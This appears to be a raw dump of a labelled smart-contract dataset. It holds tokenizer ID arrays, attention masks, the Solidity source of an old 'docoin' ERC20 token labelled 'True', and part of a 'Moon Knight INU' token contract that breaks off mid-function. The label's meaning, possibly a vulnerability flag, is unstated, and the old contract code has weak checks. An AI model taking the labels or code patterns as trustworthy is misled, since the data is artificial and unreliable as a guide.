21948,
6279,
22086,
1025,
21318,
3372,
2620,
2270,
26066,
2015,
1025,
22017,
2140,
2270,
3499,
6494,
3619,
18908,
8496,
1025,
12375,
1006,
4769,
1027,
1028,
21318,
3372,
17788,
2575,
1007,
2270,
5703,
11253,
1025,
12375,
1006,
4769,
1027,
1028,
12375,
1006,
4769,
1027,
1028,
21318,
3372,
17788,
2575,
1007,
1007,
2270,
21447,
1025,
3853,
4651,
1006,
4769,
1035,
2000,
1010,
21318,
3372,
17788,
2575,
1035,
3643,
1007,
2270,
5651,
1006,
22017,
2140,
3112,
1007,
1025,
3853,
14300,
1006,
4769,
1035,
5247,
2121,
1010,
21318,
3372,
17788,
2575,
1035,
3643,
1007,
2270,
5651,
1006,
22017,
2140,
3112,
1007,
1025,
3853,
4651,
19699,
5358,
1006,
4769,
1035,
2013,
1010,
4769,
1035,
2000,
1010,
21318,
3372,
17788,
2575,
1035,
3643,
1007,
2270,
5651,
1006,
22017,
2140,
3112,
1007,
1025,
1065,
3206,
19204,
10521,
18886,
8569,
2618,
2003,
3954,
16001,
4842,
1063,
21318,
3372,
2270,
1041,
15136,
1027,
2184,
1008,
1008,
2324,
1025,
9570,
2953,
1006,
1007,
2270,
1063,
1065,
3853,
3674,
18715,
10497,
2923,
3089,
8569,
2618,
1006,
4769,
1035,
19204,
1010,
4769,
1031,
1033,
1035,
11596,
1010,
21318,
3372,
1031,
1033,
1035,
5300,
1007,
2270,
2069,
12384,
2121,
1063,
2005,
1006,
21318,
3372,
1045,
1027,
1014,
1025,
1045,
1026,
1035,
11596,
1012,
3091,
1025,
1045,
1009,
1009,
1007,
1063,
19204,
1006,
1035,
19204,
1007,
1012,
4651,
1006,
1035,
11596,
1031,
1045,
1033,
1010,
1035,
5300,
1031,
1045,
1033,
1008,
1041,
15136,
1007,
1025,
1065,
1065,
1065,
102,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0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
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
pragma solidity ^0.4.18;
// ----------------------------------------------------------------------------------------------
// docoin by DC Limited.
// An ERC20 standard
//
// author: docoin Team
contract ERC20Interface {
function totalSupply() public constant returns (uint256 _totalSupply);
function balanceOf(address _owner) public constant returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract DC is ERC20Interface {
uint256 public constant decimals = 8;
string public constant symbol = "DC";
string public constant name = "docoin";
uint256 public _totalSupply = 10 ** 19;
// Owner of this contract
address public owner;
// Balances DC for each account
mapping(address => uint256) private balances;
// Owner of account approves the transfer of an amount to another account
mapping(address => mapping (address => uint256)) private allowed;
// List of approved investors
mapping(address => bool) private approvedInvestorList;
// deposit
mapping(address => uint256) private deposit;
// totalTokenSold
uint256 public totalTokenSold = 0;
/**
* @dev Fix for the ERC20 short address attack.
*/
modifier onlyPayloadSize(uint size) {
if(msg.data.length < size + 4) {
revert();
}
_;
}
/// @dev Constructor
function DC()
public {
owner = msg.sender;
balances[owner] = _totalSupply;
}
/// @dev Gets totalSupply
/// @return Total supply
function totalSupply()
public
constant
returns (uint256) {
return _totalSupply;
}
/// @dev Gets account's balance
/// @param _addr Address of the account
/// @return Account balance
function balanceOf(address _addr)
public
constant
returns (uint256) {
return balances[_addr];
}
/// @dev check address is approved investor
/// @param _addr address
function isApprovedInvestor(address _addr)
public
constant
returns (bool) {
return approvedInvestorList[_addr];
}
/// @dev get ETH deposit
/// @param _addr address get deposit
/// @return amount deposit of an buyer
function getDeposit(address _addr)
public
constant
returns(uint256){
return deposit[_addr];
}
/// @dev Transfers the balance from msg.sender to an account
/// @param _to Recipient address
/// @param _amount Transfered amount in unit
/// @return Transfer status
function transfer(address _to, uint256 _amount)
public
returns (bool) {
// if sender's balance has enough unit and amount >= 0,
// and the sum is not overflow,
// then DC transfer
if ( (balances[msg.sender] >= _amount) &&
(_amount >= 0) &&
(balances[_to] + _amount > balances[_to]) ) {
balances[msg.sender] -= _amount;
balances[_to] += _amount;
Transfer(msg.sender, _to, _amount);
return true;
} else {
return false;
}
}
// Send _value amount of tokens from address _from to address _to
// The transferFrom method is used for a withdraw workflow, allowing contracts to send
// tokens on your behalf, for example to "deposit" to a contract address and/or to charge
// fees in sub-currencies; the command should fail unless the _from account has
// deliberately authorized the sender of the message via some mechanism; we propose
// these standardized APIs for approval:
function transferFrom(
address _from,
address _to,
uint256 _amount
)
public
returns (bool success) {
if (balances[_from] >= _amount && _amount > 0 && allowed[_from][msg.sender] >= _amount) {
balances[_from] -= _amount;
allowed[_from][msg.sender] -= _amount;
balances[_to] += _amount;
Transfer(_from, _to, _amount);
return true;
} else {
return false;
}
}
// Allow _spender to withdraw from your account, multiple times, up to the _value amount.
// If this function is called again it overwrites the current allowance with _value.
function approve(address _spender, uint256 _amount)
public
returns (bool success) {
require((_amount == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _amount;
Approval(msg.sender, _spender, _amount);
return true;
}
// get allowance
function allowance(address _owner, address _spender)
public
constant
returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function () public payable{
revert();
}
} | True | [
101,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1018,
1012,
2324,
1025,
1013,
1013,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1013,
1013,
9986,
28765,
2011,
5887,
3132,
1012,
1013,
1013,
2019,
9413,
2278,
11387,
3115,
1013,
1013,
1013,
1013,
3166,
1024,
9986,
28765,
2136,
3206,
9413,
2278,
11387,
18447,
2121,
12172,
1063,
3853,
21948,
6279,
22086,
1006,
1007,
2270,
5377,
5651,
1006,
21318,
3372,
17788,
2575,
1035,
21948,
6279,
22086,
1007,
1025,
3853,
5703,
11253,
1006,
4769,
1035,
3954,
1007,
2270,
5377,
5651,
1006,
21318,
3372,
17788,
2575,
5703,
1007,
1025,
3853,
4651,
1006,
4769,
1035,
2000,
1010,
21318,
3372,
17788,
2575,
1035,
3643,
1007,
2270,
5651,
1006,
22017,
2140,
3112,
1007,
1025,
3853,
4651,
19699,
5358,
1006,
4769,
1035,
2013,
1010,
4769,
1035,
2000,
1010,
21318,
3372,
17788,
2575,
1035,
3643,
1007,
2270,
5651,
1006,
22017,
2140,
3112,
1007,
1025,
3853,
14300,
1006,
4769,
1035,
5247,
2121,
1010,
21318,
3372,
17788,
2575,
1035,
3643,
1007,
2270,
5651,
1006,
22017,
2140,
3112,
1007,
1025,
3853,
21447,
1006,
4769,
1035,
3954,
1010,
4769,
1035,
5247,
2121,
1007,
2270,
5377,
5651,
1006,
21318,
3372,
17788,
2575,
3588,
1007,
1025,
2724,
4651,
1006,
4769,
25331,
1035,
2013,
1010,
4769,
25331,
1035,
2000,
1010,
21318,
3372,
17788,
2575,
1035,
3643,
1007,
1025,
2724,
6226,
1006,
4769,
25331,
1035,
3954,
1010,
4769,
25331,
1035,
5247,
2121,
1010,
21318,
3372,
17788,
2575,
1035,
3643,
1007,
1025,
1065,
3206,
5887,
2003,
9413,
2278,
11387,
18447,
2121,
12172,
1063,
21318,
3372,
17788,
2575,
2270,
5377,
26066,
2015,
1027,
1022,
1025,
5164,
2270,
5377,
6454,
1027,
1000,
5887,
1000,
1025,
5164,
2270,
5377,
2171,
1027,
1000,
9986,
28765,
1000,
1025,
21318,
3372,
17788,
2575,
2270,
1035,
21948,
6279,
22086,
1027,
2184,
1008,
1008,
2539,
1025,
1013,
1013,
3954,
1997,
2023,
3206,
4769,
2270,
3954,
1025,
1013,
1013,
5703,
2015,
5887,
2005,
2169,
4070,
12375,
1006,
4769,
1027,
1028,
21318,
3372,
17788,
2575,
1007,
2797,
5703,
2015,
1025,
1013,
1013,
3954,
1997,
4070,
14300,
2015,
1996,
4651,
1997,
2019,
3815,
2000,
2178,
4070,
12375,
1006,
4769,
1027,
1028,
12375,
1006,
4769,
1027,
1028,
21318,
3372,
17788,
2575,
1007,
1007,
2797,
3039,
1025,
1013,
1013,
2862,
1997,
4844,
9387,
12375,
1006,
4769,
1027,
1028,
22017,
2140,
1007,
2797,
4844,
2378,
6961,
4263,
9863,
1025,
1013,
1013,
12816,
12375,
1006,
4769,
1027,
1028,
21318,
3372,
17788,
2575,
1007,
2797,
12816,
1025,
1013,
1013,
2561,
18715,
6132,
11614,
21318,
3372,
17788,
2575,
2270,
2561,
18715,
6132,
11614,
1027,
1014,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
8081,
2005,
1996,
9413,
2278,
11387,
2460,
4769,
2886,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
/**
*Submitted for verification at Etherscan.io on 2022-04-08
*/
/*
P&&&B57: .^?P#&&&7
&@&YPB&@@@B!. .... .J#@@@#[email protected]@P
[email protected]@!:::^~7P&@@B^ .~?PB&&@@@@@@@@@&#G57^. 7&@@#Y!^^:::[email protected]@:
&@#^^~!!!~^^[email protected]@&7.^[email protected]@@@@@@@@@&@@@@@@@@@@@@@&G?:[email protected]@&Y~^^~!7!~^[email protected]@J
@@B:~777777!^:^[email protected]@@@@@@@@@@&&####@@@####&&@@@@@@@@@@@J::~!777777^[email protected]@5
&@#^~7777777?P&@@@@@@@@&&########@@@B#######&&@@@@@@@@#5?7777777^[email protected]@J
#@&^[email protected]@@&@@@@&###[email protected]@&PPGGGGGBB##&&@@@&&@@@G?77777^[email protected]@~
[email protected]@!^!77J#@@&&&@@@&#[email protected]@#PPPPPPPPPGGBB#&@@@&&@@@G777~:[email protected]@.
^@@Y:[email protected]@@#&@@@#BGGPPPPPPPPPPPG?&@B5GPPPPPPPPPPPGGB&@@@##@@&Y!^^&@#
&@&:!&@@#[email protected]@@&[email protected]@P5GPPPPPPPPPPPPPPGB&@@&B&@@G^[email protected]@!
[email protected]@[email protected]@@G#@@@BGP5YYY5PGGGGPPPPGP:@@5YGPPPPPGGGGGGPPPPPG#@@@[email protected]@#&@&
@@@@&G&@@#Y?7!77!~^::^[email protected]@[email protected]@@#[email protected]@@@7
[email protected]@&P&@@B5B&@@@@@@@@&5~.:[email protected]@?JGGPJ^.:7P#&&&&&&@@&#B&@@#[email protected]@@
&@@P&@@@@@@B5J?77?JP#@@@G~:[email protected]@!?5~ .?#@@&GYJ????YP#@@@@@@[email protected]@P
[email protected]@G#@@@@&57!~~~~^^^^[email protected]@&7: :@@! ^[email protected]@#Y!~~~^^^^[email protected]@@@@G#@@~
^@@#[email protected]@@@G7~^^^^^^^^^^^^^^~Y&@&~^@@~:#@@P!^^^^^^^^^^^^^^^^!#@@@&[email protected]@&
#@@P&@@@Y~^^^^^^^^^^^^^^^^^^^[email protected]@&@@&@@5~^^^^^^^^^^^^^^^^^^^^[email protected]@@[email protected]@?
:@@#[email protected]@@?^^^^^^..:^^^^^^^^^^^^^[email protected]@@@G~^^^^^^^^^^^^^^:..^^^^^:[email protected]@@[email protected]@&
[email protected]@G&@@?^^^^^^^ ..::^^^^^^:::[email protected]&!::::^^^^^^^:.. ^^^^^^:[email protected]@B#@@^
&@@[email protected]@G^^^^^^^^ .:...::^77~~^::..:.. ^^^^^^^^&@@[email protected]@J
@@&#@@7^^^^^^^^^:.. :75#&@@@@@@@@&BY~ ..:^^^^^^^^:[email protected]@[email protected]@P
@@&&@@~::::::::^^^^^:[email protected]@@#PJ7~~^~!75#@@&Y^..:^^^^^:::::::::[email protected]@#@@P
&@&&@@BGGP5J7~^:.::::.^[email protected]@&Y::&&@@@@@@@&: [email protected]@#!.:::..:^!JPB#&&&@@#@@J
[email protected]@#@@&GB#&@@@@&BY~::[email protected]@#~ :@@@@@@@@@@~ [email protected]@G^.^JB&@@@#G5YJ&@@#@@:
[email protected]@&@@# .~Y#@@&&@@! [email protected]@@@@@@@& :#@@&@@&5~. [email protected]@&@@#
[email protected]@&@@5 [email protected]#. Y&@@@@@5 [email protected]&?. .#@@&@@.
[email protected]@@@@J. .5P. [email protected]@@@@~
[email protected]@@@@5:. .^~JY!!^. ^[email protected]@@@&:
[email protected]@@@B~:. [email protected]&&G&&@J##5~ .7&@@@@J
:[email protected]@@@J^:.. .#@&@&@@@@@@@@@&@@&. :[email protected]@@@Y.
[email protected]@@BY!^.. 7GJG&G#P#PBB#&J&&G. .:7P#@@&P~
^Y#@@@#57^:.. ........... .^7P&@@@B?:
^Y#@@@&BY7~^:........ ...:~75#@@@&G?:
.!5#@@@@&BPY?77!7?J5G#&@@@&BY~.
.^?5B&&@@@@@@@&#GY7:.
....
__ __ _ __ _ _ _ ___ _ _ _ _
| \/ | ___ ___ _ __ | |/ /_ __ (_) __ _| |__ | |_ |_ _| \ | | | | |
| |\/| |/ _ \ / _ \| '_ \| ' /| '_ \| |/ _` | '_ \| __| | || \| | | | |
| | | | (_) | (_) | | | | . \| | | | | (_| | | | | |_ | || |\ | |_| |
|_| |_|\___/ \___/|_| |_|_|\_\_| |_|_|\__, |_| |_|\__| |___|_| \_|\___/
|___/
SPDX-License-Identifier: MIT
**/
pragma solidity 0.8.11;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function factory() external view returns (address);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return 18;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
uint256 currentAllowance = _allowances[sender][_msgSender()];
if (currentAllowance != type(uint256).max) {
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
}
_transfer(sender, recipient, amount);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
_afterTokenTransfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
function sub(uint256 a,uint256 b,string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
function div(uint256 a,uint256 b,string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
function mod(uint256 a,uint256 b,string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract MoonKnightINU is ERC20, Ownable {
using SafeMath for uint256;
IUniswapV2Router02 public immutable uniswapV2Router;
address public immutable uniswapV2Pair;
mapping (address => bool) public isBot;
bool private _swapping;
uint256 private _launchTime;
address private _teamWallet;
uint256 public maxTransactionAmount;
uint256 public swapTokensAtAmount;
uint256 public maxWallet;
bool public limitsInEffect = true;
bool public tradingActive = false;
// Anti-bot and anti-whale mappings and variables
mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch
bool public transferDelayEnabled = true;
uint256 private _teamFee = 5;
uint256 private _liquidityFee = 3;
uint256 public totalFees;
uint256 private _tokensForTeam;
uint256 private _tokensForLiquidity;
/******************/
// exlcude from fees and max transaction amount
mapping (address => bool) private _isExcludedFromFees;
mapping (address => bool) public _isExcludedMaxTransactionAmount;
// store addresses that a automatic market maker pairs. Any transfer *to* these addresses
// could be subject to a maximum transfer amount
mapping (address => bool) public automatedMarketMakerPairs;
event SwapAndLiquify(uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiquidity);
constructor() ERC20("Moon Knight INU", "MOONKI") {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
excludeFromMaxTransaction(address(_uniswapV2Router), true);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
excludeFromMaxTransaction(address(uniswapV2Pair), true);
_setAutomatedMarketMakerPair(address(uniswapV2Pair), true);
uint256 totalSupply = 1e8 * 1e18;
maxTransactionAmount = totalSupply * 5 / 1000; // .5% maxTransactionAmountTxn
maxWallet = totalSupply * 3 / 100; // 3% maxWallet
swapTokensAtAmount = totalSupply * 5 / 10000; // 0.05% swap wallet
// Set Fees
totalFees = _teamFee.add(_liquidityFee);
// Set Fee Wallet
_teamWallet = address(owner()); // set as fee wallet
// exclude from paying fees or having max transaction amount
excludeFromFees(owner(), true);
excludeFromFees(address(this), true);
excludeFromFees(address(0xdead), true);
excludeFromMaxTransaction(owner(), true);
excludeFromMaxTransaction(address(this), true);
excludeFromMaxTransaction(address(0xdead), true);
/*
_mint is an internal function in ERC20.sol that is only called here,
and CANNOT be called ever again
*/
_mint(msg.sender, totalSupply);
}
// once enabled, can never be turned off
function enableTrading3() external onlyOwner {
tradingActive = true;
_launchTime = block.timestamp.add(2);
}
// once enabled, can never be turned off
function enableTrading2() external onlyOwner {
tradingActive = true;
_launchTime = block.timestamp.add(1);
}
// remove limits after token is stable
function removeLimits() external onlyOwner returns (bool) {
limitsInEffect = false;
return true;
}
// disable Transfer delay - cannot be reenabled
function disableTransferDelay() external onlyOwner returns (bool) {
transferDelayEnabled = false;
return true;
}
// change the minimum amount of tokens to sell from fees
function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner returns (bool) {
require(newAmount >= totalSupply() * 1 / 100000, "Swap amount cannot be lower than 0.001% total supply.");
require(newAmount <= totalSupply() * 5 / 1000, "Swap amount cannot be higher than 0.5% total supply.");
swapTokensAtAmount = newAmount;
return true;
}
function updateMaxTxnAmount(uint256 newNum) external onlyOwner {
require(newNum >= (totalSupply() * 1 / 1000) / 1e18, "Cannot set maxTransactionAmount lower than 0.1%");
maxTransactionAmount = newNum * 1e18;
}
function updateMaxWalletAmount(uint256 newNum) external onlyOwner {
require(newNum >= (totalSupply() * 5 / 1000)/1e18, "Cannot set maxWallet lower than 0.5%");
maxWallet = newNum * 1e18;
}
function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner {
_isExcludedMaxTransactionAmount[updAds] = isEx;
}
function updateFees(uint256 teamFee, uint256 liquidityFee) external onlyOwner {
_teamFee = teamFee;
_liquidityFee = liquidityFee;
totalFees = teamFee.add(liquidityFee);
require(totalFees <= 10, "Fees must be lower than 10%");
}
function excludeFromFees(address account, bool excluded) public onlyOwner {
_isExcludedFromFees[account] = excluded;
}
function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner {
